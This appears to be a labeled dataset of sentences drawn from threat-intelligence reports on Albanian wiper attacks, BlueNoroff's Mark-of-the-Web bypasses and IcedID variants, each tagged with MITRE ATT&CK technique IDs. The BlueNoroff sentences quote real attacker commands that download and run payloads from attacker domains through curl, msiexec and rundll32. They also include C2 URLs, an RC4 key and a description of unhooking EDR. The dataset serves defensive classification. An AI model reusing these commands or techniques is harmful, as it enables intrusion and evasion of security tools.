{"sentence": "So, the wipers had to use a third-party loader such as TDL – a signed loader for unsigned drivers – to install the unsigned raw disk driver that allows the wiper malware to directly access the raw disk for wiping data using DeviceControl API methods.", "labels": ["T1106"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "The speed and automation improvements remind us of previous Shamoon operations in the Middle East.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Since the wave 1 wipers were exposed in July 2022, and likely to avoid static detections, the threat actor used Nvidia’s leaked signing certificate to sign the wave 2 wiper in September 2022, again eliminating the need for a third-party loader for the raw disk driver.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Conversely, in wave 2 the threat actor embedded the signed raw disk driver in the wiper executable, dropped it and then installed it.", "labels": ["T1027"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "The wiping activity starts automatically after the driver installation command; as opposed to the wave 1 wiper, where installation is one step and wiping execution is a second step.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "It’s worth noting that the method IOCTL_DISK_GET_LENGTH_INFO is exclusive to all Persian-speaking APT wipers.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Wave 1 wiper DeviceControl API methods: IOCTL_DISK_GET_DRIVE_GEOMETRY_EX IOCTL_DISK_GET_DRIVE_GEOMETRY IOCTL_DISK_GET_LENGTH_INFO Wave 2 wiper DeviceControl API methods: IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS (new method in wave 2; used in multiple instances) IOCTL_DISK_GET_DRIVE_GEOMETRY IOCTL_DISK_GET_LENGTH_INFO Based on our telemetry, we suspect the infections are associated with law enforcement institutions in Albania.", "labels": ["T1106"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "This targeting is consistent with the previous wave of cyberattacks affecting the Albanian government during the July 2022 wave of cyberattacks.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Conclusions In this publication, we discussed the changes made to the second wave of ransomware and wiper samples that targeted Albanian institutions to evade detection and inflict maximum damage.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Aside from the changes made to evade detection in wave 2, we suspect that the threat actors needed an automated and speedy wiper execution.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "In wave 2, the raw disk driver was embedded inside the malware and the wiping routine started immediately after driver installation, as opposed to the wave 1 procedure.", "labels": ["T1027"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "This is reminiscent of Shamoon operations in the Middle East.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "We continue to investigate this threat using our Threat Intelligence and we will add additional detection logic once they are available.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Our products protect against this threat and detect it with the following names:", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "HEUR:Trojan-Ransom.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "We have published technical details of how this notorious group steals cryptocurrency before.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The group usually takes advantage of Word documents and uses shortcut files for the initial intrusion.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "However, it has recently started to adopt new methods of malware delivery.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The first new method the group adopted is aimed at evading the Mark-of-the-Web (MOTW) flag, the security measure whereby Windows displays a warning message when the user tries to open a file downloaded from the internet.", "labels": ["T1204.002"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "This is a common tactic used nowadays to evade MOTW, and BlueNoroff has also adopted it.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "We observed a new Visual Basic Script, a previously unseen Windows Batch file, and a Windows executable.", "labels": ["T1059.003"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "It seems the actors behind BlueNoroff are expanding or experimenting with new file types to convey their malware efficiently.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "After researching the infrastructure that was utilized, we discovered more than 70 domains used by this group, meaning they were very active until recently.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Most of the domains imitate Japanese venture capital companies, indicating that the group has an extensive interest in Japanese financial entities.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Executive summary BlueNoroff group introduced new file types to evade Mark-of-the-Web (MOTW) security measures; BleuNoroff group expanded file types and tweaked infection methods; BlueNoroff created numerous fake domains impersonating venture capital companies and banks.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "After a careful investigation, we confirmed that the actor had adopted new techniques to convey the final payload.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The actor took advantage of several scripts, including Visual Basic Script and Windows Batch script.", "labels": ["T1059.003"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "They also started using disk image file formats, .iso", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "For intermediate infection, the actor introduced a downloader to fetch and spawn the next stage payload.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Although the initial intrusion methods were very different in this campaign, the final payload that we had analyzed previously was used without significant changes.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Novel infection chain Long-lasting initial infection Based on our telemetry, we observed that one victim in the UAE was attacked using a malicious Word document.", "labels": ["T1566.001"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The victim received a document file named “Shamjit Client Details Form.doc” on September 2, 2022.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "[redacted]\\[redacted]\\Signed Forms & Income Docs\\Shamjit", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Client Details Form.doc Judging from the file path, we can assume that the victim was an employee in the sales department responsible for signing contracts.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "In this particular case, the executable ieinstal.exe was used to bypass UAC.", "labels": ["T1548.002"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Remote URL: https://bankofamerica.us[.]org/lsizTZCslJm/W+Ltv_Pa/qUi+KSaD/_rzNkkGuW6/cQHgsE= Created payload path:", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "They then returned 18 hours later to install further malware with high privileges.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Post-exploitation Based on our telemetry, when the malicious Word document opens it fetches the next payload from the remote server: Download URL: http://avid.lno-prima[.]lol/VcIf1hLJopY/shU_pJgW2Y/KvSuUJYGoa/sX+Xk4Go/gGhI= The fetched payload is supposed to be saved in %Profile%\\update.dll.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "rundll32.exe %Profile%\\update.dll,#1 5pOygIlrsNaAYqx8JNZSTouZNjo+j5XEFHzxqIIqpQ== Command #2:", "labels": ["T1218.011"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "rundll32.exe %Profile%\\update.dll,#1 5oGygYVhos+IaqBlNdFaVJSfMiwhh4LCDn4=", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "One of the other methods the BlueNoroff group usually uses is a ZIP archive with a shortcut file.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The latest archive file (MD5 1e3df8ee796fc8a13731c6de1aed0818) discovered has a Japanese file name, 新しいボーナススケジュール.zip (Japanese for “New bonus schedule”), indicating they were interested in Japanese targets.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The main difference from the previous shortcut sample was that it fetched an additional script payload (Visual Basic Script or HTML Application); also, a different method of fetching and executing the next stage payload was adopted at this time.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The command below was executed when the victim double-clicked on the shortcut file:cmd.exe /c DeviceCredentialDeployment & echo jbusguid> %APPDATA%\\Pass.txt & start %APPDATA%\\Pass.txt && FOR %i IN (%systemroot%\\system32\\msiexec.*)", "labels": ["T1059.003", "T1204.002"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "DO msiexec -c /Q /i", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "hxxps://www.capmarketreport[.]com/packageupd.msi?ccop=RoPbnVqYd & timeout To evade detection, the actor utilized Living Off the Land Binaries (LOLBins).", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The DeviceCredentialDeployment execution is a well-known LOLBin used to hide the command’s windows.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The actor also abused the msiexe.exe file to silently launch the fetched Windows Installer file.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Recently, many threat actors have adopted image files to avoid MOTW (Mark-of-the-Web).", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "In a nutshell, MOTW is a mitigation technique introduced by Microsoft.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The NTFS file system marks a file downloaded from the internet, and Windows handles the file in a safe way.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "For example, when a Microsoft Office file is fetched from the internet, the OS opens it in Protected View, which restricts the execution of the embedded macro.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Although it’s still under development, we mention this sample as an early warning.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "This ISO image file contains one PowerPoint slide show and one Visual Basic Script.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Embedded files of ISO image The Microsoft PowerPoint file contains a link.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "When the user clicks the link, it executes the 1.vbs file through the WScript process.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "When we checked the VBS file, it only generated an “ok” message, which suggests BlueNoroff is still experimenting with this method.<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?> <Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId2\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink\" Target=\"wscript%201.vbs\" TargetMode=\"External\"/><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout\" Target=\"../slideLayouts/slideLayout1.xml\"/></Relationships> Based on our other findings, we discovered an in-the-wild sample (MD5 a17e9fc78706431ffc8b3085380fe29f) from VirusTotal.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The virtual disk file contains a decoy PDF file, Windows executable file, and an encrypted Dump.bin file.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The PDF and executable files have numerous spaces before the file extension to hide it and allay suspicions.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Files inside VHD a file The Job_Description[spaces].exe file (MD5 931d0969654af3f77fc1dab9e2bd66b1) is a loader that loads the next stage payload.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Upon launch, it copies the ​Dump.bin file to the ​%Templates%\\war[current time][random value].bin (i.e., war166812964324445.bin).", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The Dump.bin has a modified PE header.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The malware reads the first byte of Dump.bin, 0xAF in this file, and decodes 0x3E8 bytes with that key.", "labels": ["T1140"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The decrypted data is the header of a PE file, overwriting the recovered header to the original file.", "labels": ["T1140"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Eventually, it loads the decrypted DLL file by spawning the ordinary first export function.", "labels": ["T1140"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The spawned downloader contains an encrypted configuration at the end of the file.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "RC4 key: 46 61 44 6D 38 43 74 42 48 37 57 36 36 30 77 6C 62 74 70 79 57 67 34 6A 79 4C 46 62 67 52 33 49 76 52 77 36 45 64 46 38 49 47 36 36 37 64 30 54 45 69 6D 7A 54 69 5A 36 61 42 74 65 69 67 50 33 Restored URL: hxxps://docs.azure-protection[.]cloud/EMPxSKTgrr3/2CKnoSNLFF/0d6rQrBEMv/gGFroIw5_m/n9hLXkEOy3/wyQ%3D%3D Structure of configuration In the case of another downloader, however, the payload URL was delivered using a command line parameter.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "If the size of physical memory is less than 2,147,483,648 bytes, the malware terminates execution.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Infection flow of downloader This downloader checks for the names of the following antivirus vendors:", "labels": ["T1518.001"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Sophos, Kaspersky, Avast, Avira, Bitdefender, TrendMicro, and Windows Defender.", "labels": ["T1518.001"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "If TrendMicro, BitDefender, or Windows Defender products are installed, the malware conducts a classic unhooking DLL trick intended to remove user-mode hooks from the system library.", "labels": ["T1518.001"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "This evasion technique overwrites the .text section of the pre-loaded ntdll library with the freshly loaded one so that the hooked API addresses are recovered with the original API address.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "With this trick, the malware can disable the functionalities of EDR/AV products.", "labels": ["T1562.001"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Mutex name: da9f0e7dc6c52044fa29bea5337b4792b8b873373ba99ad816d5c9f5f275f03f Next, the malware opens a PDF decoy document in the same directory.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The decoy document masquerades as a job offer from a Japanese multinational bank.", "labels": ["T1518.001"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "\\”[current file name]\\” & attrib -s", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "-h \\”[PDF decoy file]\\” & rundll32 \\”[current DLL file path]\\” #1 Bitdefender: cmd /c", "labels": ["T1059.003"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "To do this, the malware uses the cURL library, combining cURL commands depending on the antivirus installed. Avira or Avast installed:", "labels": ["T1518.001"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "[payload URL(| -x proxy URL)]", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "-s -d da Other cases: curl -A cur1-agent -L", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "-s -d dl Note that the user-agent name is “cur1-agent“, and the malware sends “da” POST data if the victim installed Avira or Avast; otherwise, the malware sends “dl” POST data.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "If the fetched data by cURL command contains “<html>” and “curl:”, the malware decrypts the payload with a delivered 64-byte RC4 key.", "labels": ["T1105", "T1140"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "If Avira or Avast are installed, the malware saves the decrypted payload to “%TEMPLATES%\\marcoor.dll” and spawns it with the rundll32.exe command with the payload URL.", "labels": ["T1140", "T1218.011"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "command: exe %TEMPLATES%\\marcoor.dll #1 [payload URL] Otherwise, the malware doesn’t write the payload to the file and injects the fetched payload into the explorer.exe process.", "labels": ["T1055"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The fetched payload is a DLL type executable and its export function is spawned with the “payload URL”.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Unfortunately, we haven’t been able to obtain a precise infection chain so far.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "From our telemetry, however, we can confirm the victim was eventually compromised by backdoor-type malware.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Based on the malware’s static information, and parts of the internal code, we assess that the final payload is still very similar to the Persistence Backdoor #2[1] we described in our previous blog.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Updated method #2: Scripts and novel downloader", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Additionally, we observed the download and launch of a suspicious batch file.", "labels": ["T1059.003", "T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The actor exploited different LOLBins.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The malware execution is done using a legitimate script, SyncAppvPublishingServer.vbs, in the system folder.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "This script is for executing the PowerShell script via", "labels": ["T1053.005"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "a Windows scheduled task.WScript.exe \"%system32%\\SyncAppvPublishingServer.vbs\" \"n;cmd.exe '/c curl perseus.bond/Dgy_0dU08lC/hCHEdlDFGV/P89bXhClww/uiOHK5H35B/bM%3D -A cur1-agent -o %public%\\regsile.bat & start /b", "labels": ["T1053.005"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "%public%\\regsile.bat'", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "We also observed the context around that batch file in our telemetry.", "labels": ["T1059.003"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The batch file name is “What is Blockchain.bat“.", "labels": ["T1059.003"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "As the file name suggests, this group still targets the blockchain industry.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "We acquired the scriptlet of the batch file.xcopy /h", "labels": ["T1059.003"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "/y /q", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "How-To-Extension.pdf c:\\users\\public\\Inproc.exe* start xcopy", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "/h", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "/q", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Blockchain-old.pdf c:\\users\\public\\rwinsta.exe* start c:\\users\\public\\Inproc.exe \"%cd%\\Blockchain.pdf\" The Inproc.exe is a legitimate mshta.exe file (MD5 0b4340ed812dc82ce636c00fa5c9bef2), and the rwinsta.exe is a legitimate rundll32.exe file (MD5 ef3179d498793bf4234f708d3be28633).", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The Blockchain.pdf file is a malicious HTML application file spawned by the mshta.exe process.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "# Create a decoy password file and open it.", "labels": ["T1059.003"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "timeout 10 & curl perseus.bond/VcIf1hLJopY/shU_pJgW2Y/NX4SoGYuka/iiOHK5H35B/bM%3D -s -d md -A cur1-agent -o %documents%\\macroor.dll& %documents%\\macroor.dll #1 perseus.bond/VcIf1hLJopY/shU_pJgW2Y/NX4SoGYuka/iiOHK5H35B/bM%3D Also, we observed this group introduce a new Windows executable-type downloader at this time.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "This scheme, showing a password via notepad.exe, is a trick favored by the BlueNoroff group to avoid arousing the victim’s suspicion.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Usually, the password contains the password needed to open the supplied encrypted decoy document.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Simple downloader with fake password file It’s possible that the actor delivered the above Windows executable file in archive file format or disk image file format with an encrypted decoy document.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Infrastructure While carrying out this research we found several C2 servers used by the actor.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "All the servers are hosted by VPS vendors as usual and several of them were resolved to the same IP address.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "They also created fake domains disguised as legitimate companies in the financial industry and investment companies.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The domains, including pivoted domains, imitate venture capital names or big bank names.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Malicious domains Genuine company Category of business Country beyondnextventures.co cloud.beyondnextventures.co Beyond Next Ventures (https://beyondnextventures.com) Venture capital firm Japan smbc.ltd smbcgroup.us smbc-vc.com Sumitomo Mitsui Banking Corporation (https://www.smbc.co.jp) Japanese multinational banking and financial services Japan cloud.mufg.tokyo mufg.tokyo Mitsubishi UFJ Financial Group (https://www.mufg.jp) Bank in Japan Japan vote.anobaka.info ANOBAKA (https://anobaka.jp) Venture capital firm Japan it.zvc.capital Z Venture Capital (https://zvc.vc) Venture capital firm Japan abf-cap.co ABF Capital (https://www.abf-cap.com)", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Venture capital firm Japan angelbridge.capital Angel Bridge (https://www.angelbridge.jp) Venture capital firm Japan mizuhogroup.us careers.mizuhogroup.us Mizuho Financial Group (https://www.mizuhogroup.com) Banking holding company Japan bankofamerica.tel bankofamerica.nyc bankofamerica.us.org Bank of America (https://www.bankofamerica.com) Bank and financial services holding company USA tptf.us tptf.ltd ​​Trans-Pacific Technology Fund (https://tptf.co) Venture capital firm Taiwan Victims As we described in the section ‘Long-lasting initial infection’, we discovered that one victim in the UAE, probably a home financing company, was compromised by classic BlueNoroff group malware.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "In addition, based on the domain naming and decoy documents, we assume, with low confidence, that the entities in Japan are on the radar of this group.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "In one PowerPoint sample, we observed that the actor took advantage of a Japanese venture capital company.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Also, the samples we mentioned in the ‘Long-lasting initial infection’ section above were delivered to the victim with a Japanese file name, suggesting the target can read Japanese.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "As we can see from our latest finding, this notorious actor has introduced slight modifications to deliver their malware.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "This also suggests that attacks by this group are unlikely to decrease in the near future.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "exe Malicious Virtual Disk File a17e9fc78706431ffc8b3085380fe29f Job_Description.vhd Zip file and unzipped malicious shortcut 1e3df8ee796fc8a13731c6de1aed0818 新しいボーナススケジュール.zip (New bonus schedule) 21e9ddd5753363c9a1f36240f989d3a9 Password.txt.lnk URLs hxxp://avid.lno-prima[.]lol/VcIf1hLJopY/shU_pJgW2Y/KvSuUJYGoa/sX+Xk4Go/gGhI= hxxp://avid.lno-prima[.]lol/NafqhbXR7KC/rTVCtCpxPH/kMjTqFDDNt/fiOHK5H35B/bM%3D hxxp://offerings[.]cloud/NafqhbXR7KC/rTVCtCpxPH/pdQTpFN6FC/Lhr_wXGXix/nQ%3D hxxps://docs.azure-protection[.]cloud/EMPxSKTgrr3/2CKnoSNLFF/0d6rQrBEMv/gGFroIw5_m/n9hLXkEOy3/wyQ%3D%3D hxxps://docs.azure-protection[.]cloud/%2BgFJKOpVX/4vRuFIaGlI/D%2BOfpTtg/YTN0TU1BNx/bMA5aGuZZP/ODq7aFQ%3D/%3D hxxps://docs.azure-protection[.]cloud/+gFJKOpVX/4vRuFIaGlI/D+OfpTtg/YTN0TU1BNx/bMA5aGuZZP/ODq7aFQ%3D/%3D hxxps://bankofamerica.us[.]org/lsizTZCslJm/W+Ltv_Pa/qUi+KSaD/_rzNkkGuW6/cQHgsE= hxxps://www.capmarketreport[.]com/packageupd.msi?ccop=RoPbnVqYd Pivoted IP address 152.89.247.87 172.86.121.130 104.168.174.80 MITRE ATT&CK Mapping Tactic Technique Technique name Initial Access T1566.001 T1566.002", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Phishing: Spearphishing Attachment Phishing: Spearphishing Link Execution T1059.003 T1059.005 T1204.001 T1204.002 Command and Scripting Interpreter:", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Windows Command Shell Command and Scripting Interpreter:", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "​Key Findings Proofpoint is tracking new variants of IcedID used by at least three threat actors.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Initial analysis suggests this is a forked version with potentially a separate panel for managing the malware.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "While much of the code base is the same, there are several key differences.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "One key difference is the removal of banking functionality such as web injects and backconnect.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Proofpoint researchers hypothesize the original operators behind Emotet are using an IcedID variant with different functionality.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Overview Proofpoint researchers have observed and documented, for the first time, three distinct variants of the malware known as IcedID.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This report details the following variants of IcedID: Standard IcedID Variant – The variant most commonly observed in the threat landscape and used by a variety of threat actors.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Lite IcedID Variant – New variant observed as a follow-on payload in November Emotet infections that does not exfiltrate host data in the loader checkin and a bot with minimal functionality.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Forked IcedID Variant – New variant observed by Proofpoint researchers in February 2023 used by a small number of threat actors which also delivers the bot with minimal functionality.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "It also acts as a loader for other malware, including ransomware.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "As previously published, historically there has been just one version of IcedID that has remained constant since 2017.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The well-known IcedID version consists of an initial loader which contacts a Loader C2 server, downloads the standard DLL Loader, which then delivers the standard IcedID Bot.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "It was dropped by the Emotet malware soon after the actor returned to the e-crime landscape after a nearly four-month break.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The IcedID Lite Loader observed in November 2022 contains a static URL to download a “Bot Pack” file with a static name (botpack.dat) which results in the IcedID Lite DLL Loader, and then delivers the Forked version of IcedID Bot, leaving out the webinjects and backconnect functionality that would typically be used for banking fraud.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Starting in February 2023, Proofpoint observed the new Forked variant of IcedID.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "To date, Proofpoint has uncovered seven campaigns using the Forked IcedID variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This variant was distributed by TA581 and one unattributed threat activity cluster which acted as initial access facilitators.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The campaigns used a variety of email attachments such as Microsoft OneNote attachments and somewhat rare to see .URL", "labels": ["T1566.001"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The IcedID Forked Loader, first observed in February 2023, is more similar to the Standard IcedID Loader in that it contacts a Loader C2 server to retrieve the DLL loader and bot.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "That DLL loader has similar artifacts to the Lite Loader, and also loads the Forked IcedID Bot.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The following picture shows the high-level overview of the various IcedID variants Proofpoint researchers have identified.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 1: Overview of the three IcedID variants.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
